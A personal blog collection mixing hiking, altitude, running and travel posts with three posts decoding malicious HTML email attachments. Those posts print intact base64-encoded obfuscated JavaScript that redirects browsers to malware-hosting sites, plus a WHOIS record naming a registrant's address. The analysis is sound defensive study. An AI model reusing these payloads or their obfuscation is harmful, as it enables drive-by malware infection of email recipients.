The Amazing Race in the UK - Shouting at the Screen for Fun and Amusement

I and a huge fan of The Amazing Race. I've seen every one of them.
But they are rarely in places that I've been to, save for US places like San Francisco and Boston and Hawaii. Until now.

In the first episode they went to the UK, landed in Heathrow and went to Stonehenge (http://en.wikipedia.org/wiki/Stonehenge) to pick up a clue and on to Eastnor Castle in Herfordshire (http://www.eastnorcastle.com/).

I've never been to Eastnor which looks lovely when someone isn't dumping water on you, but I have been to Stonehenge and in particular I've driven to Stonehenge.

I've driven in the UK on multiday trips around 3 times. Driving on the left side of the road is a significant adjustment and was a very difficult adjustment the first time I did it. While I was able to drive ok, it took me quite a while to adjust to having the entire rest of the car on my left side. The thought of a bunch of jet-lagged, rushed Americans most who have never driven in the UK, loose in cars that are not small was more than a little alarming and I'm really surprised that there weren't more issues (or accidents) that they had.

When I've driven in the UK (this is pre GPS) I used a 1/2 inch thick driving atlas. Several of them stopped and picked up a map, but that's probably not enough without help as Stonehenge is not off a major motorway, but instead on A-303 (A map is here).

If you're not in a hurry, it's fairly easy to find and a lovely drive. As you might guess our racers did not have quite the nice time. Lots of complaints about no signs which prompted much shouting from me. "They are there if you take the time to read them!"

But to be fair, looking at Streetview there are not giant "Stonehenge this way" signs. Just the highway numbers so you have to know where you want to go. And in the case of the Stonehenge turn off the highway sign is painted on the street (you can see it here.) That never occurred to me before. Your navigator has to be able to see what's painted on the streets and The Amazing Race puts the second person in the back seat to accommodate the camera people. That's a huge handicap.

Though once you get there I assure you you won't need a sign. This is what you see from the highway.

Anyway it's a great episode (the parts at Eastnor Castle are both hilarious and traumatic), and if you see this while the season is running you can watch it here:
http://www.cbs.com/primetime/amazing_race/

Hitting the Wall: Rethinking Altitude Sensitivity

I went yesterday doing an experimental day hike to Mt. Hoffman in Yosemite and pretty much everything I was assuming about altitude is wrong and this is very good news.

I went over to Yosemite to do a day hike of Mt Hoffman which is 10,850'.

In the past

I would hike until 7200' or 9600' and suddenly all the excess energy or oxgen (wasn't sure what) in my muscles would fizzle away. I could feel the it just dissipate or drain away with me going "wait, come back!" The 7200' limit I consistently hit on Shasta when I hiked up from Bunny Flat and also on Ralston Peak. The 9600' happens also on Shasta after spending a night at Horse Camp and it's also happened on Lassen (though Lassen seemed to happen more around 9000'.)

So I had some elaborate theory about there must be some change in the air pressure at that level. This is how you get all sorts of weirdo, crackpot theories and superstitions. You think you are seeing something consistently, but in fact you are managing to cause it in some other way.

Recently I've been working on a problem with my running. My foot would drag after 1 mile which was somewhat heat related, but the biggest factor was working too hard and letting my heart rate go up to 90% bpm which is not maintainable. Cutting it back to 85% of my max bpm made a huge difference and then I could go much further without a leg drag.

So I thought it was worth trying this out at altitude. My plan for today saw to attempt to climb Mt Hoffman (10,850') from the May Lake trailhead (8800'), but wear a heart rate monitor and keep my heart rate at 85%. I also took Diamox and Aspirin to increase my chances of success.

It short it WORKED!! I summitted and had energy to spare, and all my altitude theories are totally wrong.

So what has been happening is that my heart has been working too hard while climbing and my heart is not pumping enough oxygen to keep things going and I run out of energy which in cycling circles is called "bonking." It's worse at higher altitudes because the lower air pressure makes the oxygen harder to come by. I'm an endorphine junkie and I love working hard when exercising and the feel of my heart beating and being able to keep going hard.

I had to stop a lot to keep my heart rate down as especially at altitude it always wanted to climb over 85%. It makes for slow climbing and while I'm almost always never jealous of 20-somthings, their heart rates can work much harder without working anaerobically, and they can go racing by me. Hmphf. In theory, over time, they can run into the same problem and do on real mountains like Shasta.

What's cool about this is that I can work on my fitness level at sea-level and that will no doubt help and it much easier to obtain.

My original plan was to spend the night and do the climb again to see if there was a difference if I had adapted more to the elevation, but that's not necessary.

So what was happening? Why the consistency in elevation?
I think it was just a fabulous coincidence. That moment happened when I "hit the wall" and it turned out to be about the same amount of time that my heart rate was working too hard. In Shasta it happened more than twice, but I was leaving from the same location and working just as hard.

This is so fantastic as it means that the world has opened back up to me. I know I can now summit Whitney. Shasta is another issue as you have to be able to climb it within a certain amount of time. I'll work on my fitness level over the Winter and see if I can make a difference in the amount of time I can run before my heart rate climbs above 85% when either running above 4.0 mph or at some incline.

I might also try my Black Friday (day after Thanksgiving) snowshoe of Mt Shasta, but if I'm able to climb higher there could be an avalanche issue and I might be better off going over to Hidden Valley and up towards Shastina. Or just make things simpler and go to Lassen Park and Brokeoff Mtn which is right at the park entrance (the road through Lassen is closed in Winter.)


References

At first I thought what I was running into was called Oxygen Dept, but it's sounding more like:

Hitting the wall (Glycogen depletion)

http://en.wikipedia.org/wiki/Hitting_the_wall

What's interesting about this is:

Athletes engaged in exercise over a long period of time produce energy via two mechanisms, both facilitated by oxygen:

• via fat metabolism and
• via breakdown of glycogen into glucose, followed by glycolysis.

How much energy comes from either source depends on the intensity of the exercise. During intense exercise that approaches one's VO₂ max, most of the energy comes from glycogen.

So with low oxygen glycogen production is conpromised.

A little more info here
http://www.wellsphere.com/exercise-article/heart-muscles-do-not-get-tired-during-exercise/237117


An excellent description of the exercise process is here:

http://express.howstuffworks.com/web-quest-exercise.htm

Oxygen debt which I first thought I was dealing with is the term as it's more referring to the process when the body is at rest.

http://www.biology-online.org/dictionary/Oxygen_Debt

http://www.wisegeek.com/what-is-oxygen-debt.htm

http://www.personalpowertraining.net/Articles/oxygen_debt.htm

Html virus inspired by a toy decoder ring

Here's a junior level virus attempt that's inspired by the cereal box decoder ring.
It's much easier to understand, and actually kinda fun to go through.

Subject: Please sign and send back to me asap

PHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPg0KPCEtLQ0KdmFyIHM9Ij1uZnViIWl1dXEu
ZnJ2anc+I3NmZ3NmdGkjIWRwb3Vmb3U+IzE8dnNtPml1dXE7MDBxYnN1em9mYnMvc3YjITA/IjsN
Cm09IiI7IGZvciAoaT0wOyBpPHMubGVuZ3RoOyBpKyspIHsJaWYocy5jaGFyQ29kZUF0KGkpID09
IDI4KXsJICBtKz0gJyYnO30gZWxzZSBpZiAocy5jaGFyQ29kZUF0KGkpID09IDIzKSB7CSAgbSs9
ICchJzt9IGVsc2UgewkgIG0rPVN0cmluZy5mcm9tQ2hhckNvZGUocy5jaGFyQ29kZUF0KGkpLTEp
Owl9fWRvY3VtZW50LndyaXRlKG0pOy8vLS0+DQo8L3NjcmlwdD4NCg==

------=_Part_5860_20528071.5734153553633
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Forgot the Attachment - Here ya go!

------=_Part_5860_20528071.5734153553633
Content-Type: text/html; name="85104attach.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="85104attach.html"


After decoding we have:

[less than symbol] script type='text/javascript'>

var s = "=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1iuuq;00qbsuzofbs/sv#!0?";
m = "";
for (i = 0; i <>; i\<>

s="=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1iuuq;00qbsuzofbs/sv#!0?";
m is empty
iterate over the length of s, i is the counter

This is the important part:
m += String.fromCharCode(s.charCodeAt(i) - 1);

pretty basic, shift the letters to the one before
n becomes m, f become e
Looking at
http://www.cdrummond.qc.ca/cegep/informat/Professeurs/Alain/files/ascii.htm
to see what's the order of the punctuation (! becomes space, # becomes ", etc)
The first character = becomes a less than symbol, but I removed it to keep things from executing.

nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1iuuq;00qbsuzofbs/sv#!0?
meta http-equiv="refresh" content="0;url=http://partynear.ru" />

This rest is just small stuff to get the script to work. Actually I think the & is put in the wrong place.

m=[28th position] insert an &
m=[23rd position] insert an !

document.write(m) sends the string to the browser. The "refresh" is what makes it all happen.

So what is at partynear.ru?
Not much according to the text only browser Lynx. It says "Unexpected network read error"
jsunpack shows that there appears to be a redirect sending you further into the site into a Themes/card.js area that is trying to run another javascript. It's not clear if this is smoke or malware or something else.

Decoding html viruses followup

The last post was getting too long so it was time to start a new one.

Now the subject line says "contract for sports complex" and going to through some of the previous decoding steps and feeding it into jsunpack leads us to a complicated scenario that the CyberCrime & Doing Time blog goes into here.

The browser visits a hostile site
h[broke]ttp://chautoy.co.za/x.html

It tells me that x.html is
info: [meta refresh] URL=xxxvideo-eyyc.cz.cc/video7/?afid=24
info: [iframe] findepotdirect.com/news/

which just looks like your basic Can we sell you some cheap pills? SpamRx. or in this case a porn site. BUT! you get this free surprise inside an iframe (that's an HTML thingy).

The sports complex one I went through decoded to (I've removed the opening angle bracket to keep the browser from trying to interpret it and changed http to h.ttp):

PLEASE WAITING.... 4 SECONDS meta h.ttp-equiv="refresh" content="4;url=h.ttp://xxxvideo-eyyc.cz.cc/video7/?afid=24" /> iframe width="0" height="0" src="h.ttp://findepotdirect.com/news/"> /iframe>

So while you are seeing xxxvideo-eyyc.cz.cc your browser is getting something else entirely.
jsunpack tells me it contains a file called 3.wav file which I find pretty strange., but on further examination it's part of the xxxvideo porn site so it's more smoke.

What I need is more info about: findepotdirect.com/news

A quick google of findepotdirect.com/news shows one link and it was created by yours truly when I did the above jsunpack run.

So I finally finished my local install of the text only browser "Lynx" running on a Linux system only to find out the site is gratefully down.

However the domain name is owned by someone:

   Domain Name: FINDEPOTDIRECT.COM
 Registrar: MONIKER ONLINE SERVICES, INC.
 Whois Server: whois.moniker.com
 Referral URL: http://www.moniker.com/whois.html
 Name Server: NS1.DRAMCHINATEA.NET
 Name Server: NS2.DRAMCHINATEA.NET
 Status: clientDeleteProhibited
 Status: clientTransferProhibited
 Status: clientUpdateProhibited
 Updated Date: 13-sep-2010
 Creation Date: 13-sep-2010

 Expiration Date: 13-sep-2011

And the contact info is hidden by the registrant Monkier:

Domain Name: FINDEPOTDIRECT.COM
Registrar: MONIKER

Registrant [3157846]:
Dennis Nanni root@munnuhome.com
6310 Rock Creek Rd
Tullahoma TN 37388 US


This domain was just registered a week ago, but still isn't really functional or was and is no longer.


So I still don't know what they're up to, but it's getting harder and harder to find out just what it is, though I have a feeling that if the findepotonline.com site answered then jsunpack would have more to say about it.

Decoding "html" viruses

My company has been getting a rash of viruses that come in as .html attachments.
The latest set has subject lines of "Delivery Status Notification (Failure)"

The interesting and useful thing about this viruses is that they are in obfuscated text form and you can decode them with effort.

If you look at the text it comes in as "Base 64" encoding and looks like:

Content-Type: text/html; name="4727911.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="4727911.html"

This example is:

PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5j
dGlvbiBldGdyKHpqNHIpe3Zhcg0KYm85Nyxidmd5PSIiLGtwbjgsaXl2Mj0iMG9jZGZ1bTtpcC9x
cmx4PW50Li06diBoZT5zXCJhPCIscDNqZSxqNDQ2PWl5djIubGVuZ3RoO2V2YWwodW5lc2NhcGUo
IiU2NnVuJTYzdGklNkZuIHIlNjFpeSUyOGt1JTc5Yyl7JTYydmclNzkrPSU2QnV5YyU3RCIpKTtm
b3IocDNqZT0wO3AzamU8emo0ci5sZW5ndGg7cDNqZSsrKXtibzk3PXpqNHIuY2hhckF0KHAzamUp
O2twbjg9aXl2Mi5pbmRleE9mKGJvOTcpO2lmKGtwbjg+LTEpe2twbjgtPShwM2plKzEpJWo0NDY7
aWYoa3BuODwwKXtrcG44Kz1qNDQ2O31yYWl5KGl5djIuY2hhckF0KGtwbjgpKTt9ZWxzZXtyYWl5
KGJvOTcpO319ZXZhbCh1bmVzY2FwZSgiJTY0b2MlNzVtZSU2RXQudyU3Mml0JTY1KGIlNzZneSkl
M0JidiU2N3k9JTIyJTIyOyIpKTt9ZXRncigiMGlcInZkYTA+cy0wbWUtaDtjPW94PmZ0Oi5oLTAw
bi5zLXY6ZDs9eCBlXCJtb2M+O2E8bXNhdG1zb2w8Lml0dXFjaGlpeC1lPHUwOmFscGF4ciIpOzwv
c2NyaXB0Pjxub3NjcmlwdD5UbyBkaXNwbGF5IHRoaXMgcGFnZSB5b3UgbmVlZCBhIGJyb3dzZXIg
dGhhdCBzdXBwb3J0cyBKYXZhU2NyaXB0Ljwvbm9zY3JpcHQ+

Which you can put through a decoder at:

http://www.opinionatedgeek.com/dotnet/tools/base64decode/

Which gives you a Javascript all on one very long line.

Then you can take that and put it through a "beautifier" at
http://jsbeautifier.org/

Which yields something that looks like a long unerased whiteboard.
various things added lie [lessthan] to keep the system from thinking this is a script or html.


function etgr(zj4r) {
var
bo97, bvgy = "",
kpn8, iyv2 = "0ocdfum;ip/qrlx=nt.-:v he>s\"a[lessthan]",
p3je, j446 = iyv2.length;
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));
for (p3je = 0; p3je < bo97 =" zj4r.charAt(p3je);" kpn8 =" iyv2.indexOf(bo97);"> -1) {
kpn8 -= (p3je + 1) % j446;
if (kpn8 < 67y="%22%22;">s-0me-h;c=ox>ft:.h-00n.s-v:d;=x e\"moc>;a[lessthan]msatmsol[lessthan].ituqchiix-e[lessthan]u0:alpaxr");



So far the point of these viral scripts is to get the browser to go to a website and download and install malware. The majority of this script is junk. What you're looking for is something that can make a URL. So it's the longer lines that you want to look at.

Let's examine

eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));

and

eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));

By putting the stuff in quotes into yet another online URL translator at
http://ostermiller.org/calc/encode.html

The first line says

function raiy(kuyc){bvgy =kuyc}

Define a function called raiy that takes a value called kuyc and sets bvgy equal to it.

and the next says

document.write(bvgy);bvgy="";

The second line means write nothing so that's more junk.

The line
kpn8, iyv2 = "0ocdfum;ip/qrlx=nt.-:v he>s\"a<",

Looks way odd, but remember most of this is smoke, so keep the elements in mind.
This line sets two variables kpn8 and iyv2
How are these used in the scripts?

kpn8 is used but its meaning is changed immediately:
kpn8 = iyv2.indexOf(bo97);

which given that bo97 is nothing ("") I actually don't know what indexOf nothing does but 0 seems a safe bet.

and iyv2

p3je, j446 = iyv2.length;
raiy(iyv2.charAt(kpn8));

The length of that string is 31.
The last list called the previously defined function raiy and sends a 0 to it.

By the way, the meaning of the Javascript indexOf and charAt at explained here:
http://www.w3schools.com/jsref/jsref_charAt.asp


Looking back over the script I think we currently have a whole lot of possibly nothing.

The very last line is very suspect:

etgr("0i\"vda0>s-0me-h;c=ox>ft:.h-00n.s-v:d;=x e\"moc>;a<.ituqchiix-e


Out of desperation I googled msatmsol
and learned that other people where chasing the same thing down and were using this very cool (do I still get to say that?) site that also has an online decoder to which you can feed urls or scripts:

http://jsunpack.jeek.org

js unpack can handle multiple levels of Javascript so it goes through the same steps I did but then does another one.

And we get:
//eval function raiy(kuyc){bvgy+=kuyc}
//eval document.write(bvgy);bvgy="";
//document.write (s) [less than]meta equiv="refresh" content="0;url=http://numerouno-india.com/x.html">
[less than] meta http-equiv="refresh" content="0;url=h[.]ttp://numerouno-india.com/x.html" />

(I inserted the [.] to break the link.)

Bing Bing Bing! We have a winner - a URL. The jsunpack site goes on to check that the link has since been removed and is no longer a threat. Same scenario. Someone broke into that site and uploaded the virus x.html and then send out a bunch of .html emails that point to it and the victim's browser then downloads it and (if the use is an "Administrator") then installs it.

This is why on Windows it's a Really Good Idea to not be a user who has Administrator access when you're doing non-administrative things like reading email.

Now I really want to know how the unpacker was able to decode that last line in the scripts.


PS An excellent write up of an older (but easier to decipher) outbreak can be found at:
http://garwarner.blogspot.com/2010/06/more-twitter-spam-html-attached-threats.html

Treadmill Running - a new record for slow

i managed to run 4 miles today on a treadmill. It took me 63 minutes which is close to what some people can walk, but I was running/jogging.

Same approach. Everytime my pulse got to 150 or 151 I dropped my speed by 0.1 or 0.2 mph. Started at 4.8 then to 4.6 then dropped it to 4.0 where I stayed until 2+ miles then I dropped it to sub 4.0 mph for the rest of the time.

While it was nice to know that I could go 4 miles which I've never done before, I think it might be a better use of my time to work on extending the amount of time that I can go at above 4.0 mph while keeping my pulse under 150 bpm. I can do this in 30 minutes instead of an hour (an hour on a treadmill is a long time even with music and watching cute kids learn soccer) unless I suddenly get a whole lot more fit and it takes longer for my pulse to go over 150. It's problems like these you wish for. The other cool thing was knowing that if I wanted to I could have gone longer.

I do need to replace my shoes as even though they've only been used on a treadmill they are less springy than they used to be.

Treadmill Running Breakthrough

For a while now I've been struggling with the issue that after running a mile, my right foot starts to drag and this really limits how well I can improve endurance-wise. I'm in better shape than that and this is a major impediment.

The issue was twofold which has made solving it a bit harder.

Heat on my back was the major problem as when a spot on my spine got hot the nerve conduction was compromised. This week I solved this by running in a one piece bathing suit that doesn't have a back (I also wear shorts over it too.). Doing that seemed to make a difference, but I was still struggling some after about 1.3 miles.

That's when I went back and did some more research on endurance training. I discovered in an earlier post that I'd been happily running at 90% of my max which is great mountaineering training where you have to be able to work at or near the point where you are working anaerobically, but it you want to increase your endurance you have to go slower.

In "The Outdoor Athlete" by Courtenay and Doug Schurman (which you can get at http://bodyresults.com), they have a section on Endurance Training.
They define 4 levels of intensity

• Recovery below 65% Maximum Heart Rate (MHR)
  
• Distance Aerobic (low intensity) Session 65-75% MHR
  
• Tempo Aerobic (medium intensity) Session 75-85% MHR
  
• Anaerobic (high intensity) Session > 85% MHR

I'd been working out at 160 bpm so I choose 150 bpm (even before looking up the above) as a limit. That works out to be around 85% of my max heart rate. This is pretty high, but it's difficult for me to keep my working heart rate under that when I'm really exercising and it seemed worth trying as a starting point.

A note on Max heart rate. If you really want to know your max heart rate get on a treadmill with a heart rate monitor and run till you drop and note your heart rate as you're dropping. I am not joking. All of the formulas are just estimates. 220-your age is off (by 5 for me). Even the more accurate 209-.7(your age) is off as I get older. (I should probably insert the usual "Please consult with your Doctor before trying to establish your max heart rate" caveat.)

So after a light meal (1/2 a sandwich) and equipped with lemonade (though I usually have Gatorade), in my bathing suit and shorts with my ipod and heart rate monitor off the gym I went.

The gym wasn't crowded and was decently cool. There was a Lacrosse game going on in the closest field to me that I could watch and ponder if Lacrosse really did have rules as they claim.

I entered in my info to the treadmill and chose a starting speed of 5.0 mph which is the speed I'd been working at. My idea was every time my heart rate got to 150-151 bpm, I would decrease my speed by 0.1-0.2 mph, even past the point of what I considered ridiculous.

Very quickly I decreased my speed to 4.8 mph
Then sometime after that to 4.6 mph

At that speed I passed 1.0 mile and then 1.25 miles. No leg drag. Somewhere in there I dropped it down to 4.4 and then not long after that was around 4.0 mph, but I was still running and no leg drag (and I'm starting to marvel at this). 2 miles passed and I was still ok. (Whoa). Then my pulse started to climb and I dropped it into the 3.8 range which is a really fast walk for some people, but I was definitely jogging and getting a good benefit from it and was in the middle of being amazed that I was still going. I stopped paying as much attention to the details as I was so far past my goals but when I hit 2.85 I realized that I might be able to make 5K (3.25). Dropping my speed to 3.6 mph and even occasionally as low as 3.5 mph worked. I discovered this a little while back on a different run. Going really slow can be beneficial and a great confidence booster.

My foot started to get sore so I finally stopped at 55 minutes and 3.63 miles which is the furthest I've ever run in one session and I didn't stop to walk at all. All this from keeping my pulse right at or just under 150 bpm. I was never out of breath and at 160 bpm (90% MHR) I definitely get that way. As I got further into the run I had to pay more attention on my foot placement but I was not battling chronic leg drag.

So the lessons were. Do what works for you. Though definitely use outside advice as a guide, but do what works for your body. I had to mentally get past running so slow, but that was an excellent workout for me. I can speed up later as my endurance improves.

It's also kinda cool that I got past the 5k limit as then if I wanted to I could enter a 5k run though things change when you're the one controlling the speed (instead of the treadmill) and other people are whizzing by you and you can't help but want to speed up, but that's another challenge for another day. I'm going to celebrate this milestone. i think it's time to make chocolate chip cookies.

Endurance Training

So I've been working on increasing the level of intensity that I can work at. This means that I can function at 90% of my max heart rate.

However I'm finding that my endurance has not increased very much and it's possibly why at altitude that I quite literally run out of oxygen and my muscles stop functioning very well. I have always thought it was the altitude since it always happens at particular elevations and that might have something to do with it, but it could be that I can only maintain working at 90% for so long.

Aerobic training (the kind where you can continue on indefinitely) is more around 85% of your max heart rate so I think I need to spend some time forcing myself to stay at that rate which is surprisingly hard when you have the illusion that you can go faster/harder.

One reason it's taken me this long to figure this out is that I only recently addressed the issue of my getting too hot. When I over heat I tire very quickly and start to trip over my own feet. I finally figured out if I wear a one piece bathing suit with a mostly open back, then the air is able to move around my back and keeps me cooler (I wear shorts too to keep the ridiculous look under control.) During the very first workout I was able to go longer, but still ran into a wall at just past 2 miles, so now I can start to work on the endurance angle more.

This makes me think that when I climb Mt Hoffman I should wear a heart rate monitor (what a great tool), and try to stay at 85% and see if I have the same altitude issues.

The Cell Phone Tower Fake Trees

I remember the first few times I saw a cell phone tower disguised as a tree. There was something very subtle about it. I think I had time to look at it while driving by (perhaps I was a passenger). It was this niggling, "hmmmmm" double take sort of thing. "There's something funny about that tree. Hey wait a sec that's not a real tree!" (Cue dramatic Sherlock Holmesian music) I remember I felt I had discovered something.

Then it was "What does it do?" Something made me glance at my phone and the bars were so maxed out I thought they'd fall off the display. "Er, gee you think it has to do with cell phones."

Multiple fake tree sightings have verified this and a quick Google confirmed it. And why didn't I do that when I first saw one? Maybe it's the quest and the weird intrigue about something hiding in plain sight.

Now I see them all the time. They totally jump out and I can cheerfully (what a geek) say look a fake tree, just like I was pointing out a Red Tail Hawk or something.

Ref:
http://www.waymarking.com/waymarks/WM4ZR
http://www.flickr.com/photos/63208268@N00/307679880/

Of course disguising cell towers isn't just limited to trees.
This church has turned a macbre sculpture of a crucified Jesus into a cell phone tower.
(eegh) [Sadly the link is no longer working.]
http://www.omg-facts.com/view/Facts/11835


A friend has also been photographing these anominallies:
Here's one on 101 N that has what appears to be two towers.



But her favorite is the magic pine tree that appears amongst all the palm trees in the middle of the desert off of I-210. I guess palm trees were on back order and that Home Depot had just run out. Brilliant.

Pushing a Bike Uphill is Great Exercise

I've discovered that if you're willing to push your mountain bike up hills that you can't ride up, you get great upper body (more like full body) exercise. Suddenly you have an excellent crosstraining solution. Certainly no shame in that. And the best part is you get to ride the bike down. Wheee! Especially on Mt. Diablo's fireroads that appear to be covered with a fine ball bearing gravel which I've slipped on more that once and have since bought cleats for this is very much a feature.

If you are willing to mix the two (walking and riding) you will find yourself going places that you couldn't of before. Just remember to bring plenty of food and water as you can go further than you would of anticipated.

More Altitude Thoughts

So the dilemma is. How do you ascend gradually when no places to stop exist?

Do you sleep as high as you can?
Above 8000' when I've increased my sleeping altitude more than 1500' I've gotten ill.
What's weird is that i can drive up to 10k' and been able to sleep ok, but walking up to that
elevation from 8500' is much harder.
Do you sleep a bit lower where you will likely get more rest but have to climb further?
At that lower elevation how long do you spend there? 1 day, 2 days, more?
I tend to still hit a wall at some point.
Or do you just take a longer (2-6 hours) break while ascending?
Tempting to try this. I've done a shorter version of this a few times which helps a little.
Or do you just suffer?
Which I know isn't terribly effective for me.


I'm going to Yosemite soon and I have to figure out how I want to do this. I think I need to see how high I can climb if i spend the night at a fairly high altitude. Tuloumne Meadows Campground is at 8600', but Whitney Portal is at 8350' and I know that with a 35-40# backpack I can only get up to Lone Pine at 9885' before I start to struggle and limp into Outpost Camp at 10,360'. So likely the only thing I would learn is whether I would do better without a heavy pack.

This all makes me crazy. Whitney I can likely find ways to make it work but other climbs like Shasta and Ranier break all of those altitude rules that my body seems to really like. There just aren't places to camp above a certain point. Sigh.

The altitude increase basics are no more than 1000' elevation gain in a 24 hour period (above say 8000'). I can do 1500', but when I try to do 2000' is when I often get ill. Everybody else gets to break these rules why can't I?

Mt Shasta Personal High Point and Futher Elevation Expermiments

More elevation navel gazing.

So on my most recent trip to Mt. Shasta with effort I got up to 11,125'.
I spent the night at Horse Camp (7900') and then we had porters lug our heavier equipment up to 50-50 at 9600'. With a night's sleep at Horse Camp I had no problem getting up to 9600'. Though a night's sleep at 50-50 didn't seem to make too much difference as it was still a struggle for me though at least this time I got past Helen "Lake" (10,400') and on to 11,125'.

Twice before I've climbed to Helen from Horse Camp. Sometimes it's easy sometimes it's not. I can't quite figure it out. I do wonder if I had spent another night at 50-50 if that would of made much difference but some while back on a group trip on the Hidden Valley route we spent two nights there and my climbing was still severely compromised despite being in excellent shape.

This is all starting to look like I might want to focus more on climbing on packed dirt (i.e. not scree and loose rock) since that's easier than snow, though when the snow is firm there's little difference between it and dirt. But snow softens through out the day and when the surface steepens and the day progresses you will find yourself kicking steps into the snow which takes effort. Even when you're using crampons you have to focus more on foot placement and that takes more effort than just hiking on a trail.

On dirt I've been past 13,000' and one time when we were up camping comfortably at 12,000' in the Mitre basin I know I could have summited Mt Whitney (whose newly remeasured altitude is 14,505') had I been anywhere near a good trail instead of trying not to slide down Crab Tree pass (12,600'). I've also been at Lower Boy Scout Lake and was able to climb past 13,000'. I've also been ill at LBSL and didn't recover even after a couple of days. Maddening.

In the Mitre Basin we slept at
Horseshoe Meadow Trailhead 10,200'
Some unidentified spot at 11,000' (what a slog that was because of the sand on the Pacific Crest Trail)
Then we went up through the Mitre Basin and slept at an unnamed lake just past Sky Blue Lake which was at 12,000.
Then I climbed up to nearly 13,000'.
At no time was I ill - I had a mild headache from driving up to Horseshoe Meadows, but it got better.

SO with a gradual ascent I am fine. Trouble is most climbs aren't nearly so accommodating in that respect. Counter intuitively starting high makes things easier because you're not expending nearly so much oxygen and energy, but that has its limits. It's tempting to test this out in Estes Park CO and at Hawaii's big island.

I had this idea that I'd drive up to Yosemite and climb Mt. Hoffman (10,850') twice to see if there was any difference between the first day and spending the night at 8200' and then doing it again. The other approach would be to drive up and do almost nothing and then try the climb the next day. (Maybe even try something higher like Mt Dana.)

The other funny thing is that I seem to have an internal altimeter. I hit a wall at 7200' and at 9600', but can adapt with time (usually an overnight), but if I'm tired I don't always adjust to 9600'. I'm also going to maybe not use Diamox, but instead use Aspirin to see if that makes a difference, because it thins your blood.

So I don't know how I'll get up Shasta. I know I can get up Whitney (need to get a permit for next year come Feb), but Shasta doesn't offer higher places to camp (besides the crowded and not pleasant Lake Helen). I need to find a way I can camp high without getting ill (by increasing my sleeping elevation no more than 1500') and then climb higher.

Deep Cave Exploration - Yikes!

In my continuing quest to be very well read and well watched in things I would never do on my own, I'm listening to a book on Deep Caving called Blind Descent (http://www.audible.com/pd?asin=B003L8GZLQ).

Now I like tourist caves where you go and see all the cool formations that form from something being dripped on or from for many millennia. They are beautiful.

I also like hiking and climbing up mountains partially for the physical challenge, but mostly for the view really, and to spend time in a lovely environment, breath some fresh air and just to get outside the box.

Deep caving offers precisely none of these features save for the extreme physical challenge.

To risk sounding like Andy Rooney. I don't get it.

To be fair I'm only half way through, though I have little doubt my view will change much. [I'm much further now and I was right.]

Features of deep caves

• pitch blackness, no light at all, you are totally dependent on artificial illumination
  
• they are flooded much of the year and such are very wet
• they are surprisingly noisy because of wind
• your sleeping accomodations might be a narrow wet ledge that you have to worry about rolling off ot
  
• you go down first so when you "top out" you now have the hardest part of the climb still to go
• there are myriad ways to die and nearly no help is available or what is is days away.
  
• similar to mountaineering even the simplest of injuries are much more difficult to manage, even worse than mountaineering is the possibility of infection because of all the wet, dust, and silt is much higher. And the no help factor too.
  

Remarkably the main guy who leads a lot of the effort to discover the deepest cave seems pretty sane. His name is Bill Stone (ha) and you can see him speaking here at a Google "TED" conference:
http://video.google.com/videoplay?docid=5797001505961854840#

National Geographic took at interest and has some information here:
http://ngm.nationalgeographic.com/ngm/caverace/week9/index.html
and here
http://ngm.nationalgeographic.com/ngm/0505/feature4/


You can also learn to be a cave diver. That is also another thing that the touristy "oh look all the cool sealife" totally is appealing to me, but when you get down that deep it more looks like this photo of the US Deep Caving Team's webpage:
http://www.usdct.org/
completely empty of life (well mostly).

As one reviewer of the book said. "It's all kinda creepy in a way." You are deliberately placing yourself in a really strange environment simply because no one else has yet been there. It is the last frontier on this Earth. Quite literally a journey towards the center of the Earth, and how people deal with being obsessed with finding the deepest cave in existence.

Of course the first or second thing that occurs to me is that this is a moving target in a way. Water, volcanoes and earthquakes are constantly reshaping the Earth. What is the lowest point now is very likely not going to continue that way for too long, but we are talking geologic time so it may not matter.

The Churchill Downs Reality Check

There is going to be a National Dog Agility event in Louisville and some folks who are going are really interested in seeing Churchill Downs. I had to warn them about how disappointed I was when I finally got to see it many years ago. Churchill Downs is in the middle of Louisville, just like Santa Anita is right in the middle of Los Angeles. When I was there I had just seen Lexington and was so impressed by its beauty. I had this wonderous romatic visions of Churchill Downs when we arrived in Louisville. Wow what a let down.

This is what I was picturing (this is a track somewhere in Lexington.)




This shows what the area really looks like - I was so bummed:
Here is a link where you can view it yourself
http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=Churchill+Downs,+Louisville,+KY&sll=37.0625,-95.677068&sspn=50.424342,76.640625&ie=UTF8&hq=Churchill+Downs&hnear=Churchill+Downs,+Louisville,+Jefferson,+Kentucky+40214&ll=38.202408,-85.770521&spn=0.024652,0.037422&t=h&z=15

A "New" Bike with a History

Some while ago I sold my road bike because it really didn't fit me and left me in pain when I rode it because I was reaching too far.

Now I've been road bike less for a while now and it does bug me as though I love my mountain bike there are things that a road bike does so much better such as climbing hills on roads and going really fast.

I was lamenting this to a coworker and another coworker said that he was selling a road bike that belonged to his daughter who he just lost from breast cancer. Pause. Really? Turns out that we are of similar height.

So he brought it in and even though it's not the smallest size available for women, it's smaller than the one I sold. After I rode it and measured it a bunch and agonized about it with Terri, I decided to buy it.

The oddest thing for me is that this bike used to belong to a woman who was younger than me, and who is gone. I feel as if I'm riding a ghost's bike. A very recent ghost. It's a weird feeling. I sometimes think I feel her old presence, but I could be imaging it too.

I have quite a bit of emotion tied up in bikes as it is and I'm trying to reassure myself that if this one doesn't work out that it's not a big deal and I can always get the 43cm frame instead. This one is a 47cm. The 43 is a sloping top tube, but has an "effective top tube length" that is an inch shorter.

The other thing is that buying a used bike is way cheaper than the 4 figure price that new bikes cost, so in once sense this is buying me time and giving me a chance to figure out if I love it enough to make time for it.

